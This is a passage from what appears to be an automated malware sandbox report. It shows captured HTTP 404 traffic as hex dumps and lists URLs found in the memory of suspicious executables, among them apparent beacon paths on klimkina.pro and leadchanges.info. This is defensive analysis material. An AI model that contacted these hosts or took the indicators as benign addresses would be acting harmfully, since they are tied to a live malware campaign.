3a 20 31 30 30 25 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 66 69 74 2d 77 69 64 65 20 7b 0a 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 72 65 6c 61 74 69 76 65 3b 0a 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 32 34 30 70 78 3b 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 36 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 36 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 30 70 78 3b 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 32 30 70
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:29:54 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:29:56 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:29:59 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:30:02 GMTServer: ApacheContent-Length: 203Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 68 63 61 77 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /hcaw/ was not found on this server.</p></body></html>
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:30:08 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:30:10 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:30:13 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 05 Jun 2024 16:30:19 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: ApacheLast-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 2Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 23 61 64 5f 66 72 61 6d 65 7b 20 68 65 69 67 68 74 3a 38 30 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 7b 20 6d 61 72 67 69 6e 3a 30 3b 20 62 6f 72 64 65 72 3a 20 30 3b 20 70 61 64 64 69 6e 67 3a 20 30 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 2f 61 6a 61 78 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6a 71 75 65 72 79 2f 31 2e 31 30 2e 32 2f 6a 71 75 65 72 79 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 75 72 6c 20 3d 20 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 3f 64 6e 3d 27 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2b 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 6d 61 69 6e 20 2b 20 27 26 70 69 64 3d 39 50 4f 4c 36 46 32 48 34 27 3b 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 24 28 27 23 61 64 5f 66 72 61 6d 65 27 29 2e 61 74 74 72 28 27 73 72 63 27 2c 20 75 72 6c 29 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0d 0a 20 20 20 20 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 20 20 3c 62 6f 64 79 3e 0d 0a 20 20 20 20 20 20 20 20 3c 69 66 72 61 6d 65 20 69 64 3d 22 61 64 5f 66 72 61 6d 65 22 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 73 65 61 72 63 68 76 69 74 79 2e 63 6f 6d 2f 22 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 21 2d 2d 20 62 72 6f 77 73 65 72 20 64 6f 65 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 20 69 66 72 61 6d 65 27 73 20 2d 2d 3e 0d 0a 0d 0a 20 20 20 20 20 20 20 20 3c 2f 69 66 72 61 6d 65 3e 0d 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML><html> <head> <title>404 Error - Page Not Found</title> <style> #ad_frame{ height:800px; width:100%; }
            Source: P1 HWT623ATG.bat.exe, GnVIdcfKFYG.exe.1.drString found in binary or memory: http://aliez.tv/
            Source: compact.exe, 0000001A.00000002.3721935627.000000000495A000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000359A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://klimkina.pro/4mpz/?9d=Y
            Source: compact.exe, 0000001A.00000003.2728107070.0000000008A65000.00000004.00000020.00020000.00000000.sdmp, bfc.exe, 00000022.00000002.2779194364.000000000040A000.00000004.00000001.01000000.00000012.sdmp, bfc.exe, 00000022.00000000.2730951982.000000000040A000.00000008.00000001.01000000.00000012.sdmp, Smilet.exe, 00000028.00000000.3703313892.000000000040A000.00000008.00000001.01000000.00000013.sdmp, Smilet.exe.35.dr, bfc.exe.26.dr, Guzzler[1].exe.26.drString found in binary or memory: http://nsis.sf.net/NSIS_Error
            Source: compact.exe, 0000001A.00000003.2728107070.0000000008A65000.00000004.00000020.00020000.00000000.sdmp, bfc.exe, 00000022.00000002.2779194364.000000000040A000.00000004.00000001.01000000.00000012.sdmp, bfc.exe, 00000022.00000000.2730951982.000000000040A000.00000008.00000001.01000000.00000012.sdmp, Smilet.exe, 00000028.00000000.3703313892.000000000040A000.00000008.00000001.01000000.00000013.sdmp, Smilet.exe.35.dr, bfc.exe.26.dr, Guzzler[1].exe.26.drString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
            Source: P1 HWT623ATG.bat.exe, GnVIdcfKFYG.exe.1.drString found in binary or memory: http://ozon.ru/
            Source: compact.exe, 0000001A.00000002.3721935627.0000000005134000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003D74000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://push.zhanzhang.baidu.com/push.js
            Source: P1 HWT623ATG.bat.exe, 00000001.00000002.1286350023.00000000030F7000.00000004.00000800.00020000.00000000.sdmp, GnVIdcfKFYG.exe, 0000000A.00000002.1498915015.0000000002553000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/css/animate.min.css
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/js/external/vidim.min.js?v=1.0.2
            Source: compact.exe, 0000001A.00000002.3721935627.0000000004AEC000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000372C000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/themes/countdown/style.css?v=4.1.
            Source: compact.exe, 0000001A.00000002.3721935627.00000000055EA000.00000004.10000000.00040000.00000000.sdmp, compact.exe, 0000001A.00000002.3724493799.0000000006780000.00000004.00000800.00020000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.000000000422A000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut
            Source: Smilet.exe, 00000028.00000001.3704245850.0000000000649000.00000020.00000001.01000000.00000014.sdmpString found in binary or memory: http://www.ftp.ftp://ftp.gopher.
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3723441735.000000000519A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.leadchanges.info
            Source: hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3723441735.000000000519A000.00000040.80000000.00040000.00000000.sdmpString found in binary or memory: http://www.leadchanges.info/mjuo/
            Source: compact.exe, 0000001A.00000002.3721935627.00000000052C6000.00000004.10000000.00040000.00000000.sdmp, hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe, 0000001B.00000002.3720510916.0000000003F06000.00000004.00000001.00040000.00000000.sdmpString found in binary or memory: http://www.litespeedtech.com/error-page
            Source: Smilet.exe, 00000028.00000001.3704245850.00000000005F2000.00000020.00000001.01000000.00000014.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
            Source: Smilet.exe, 00000028.00000001.3704245850.00000000005F2000.00000020.00000001.01000000.00000014.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
            Source: compact.exe, 0000001A.00000003.1817384271.0000000008278000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
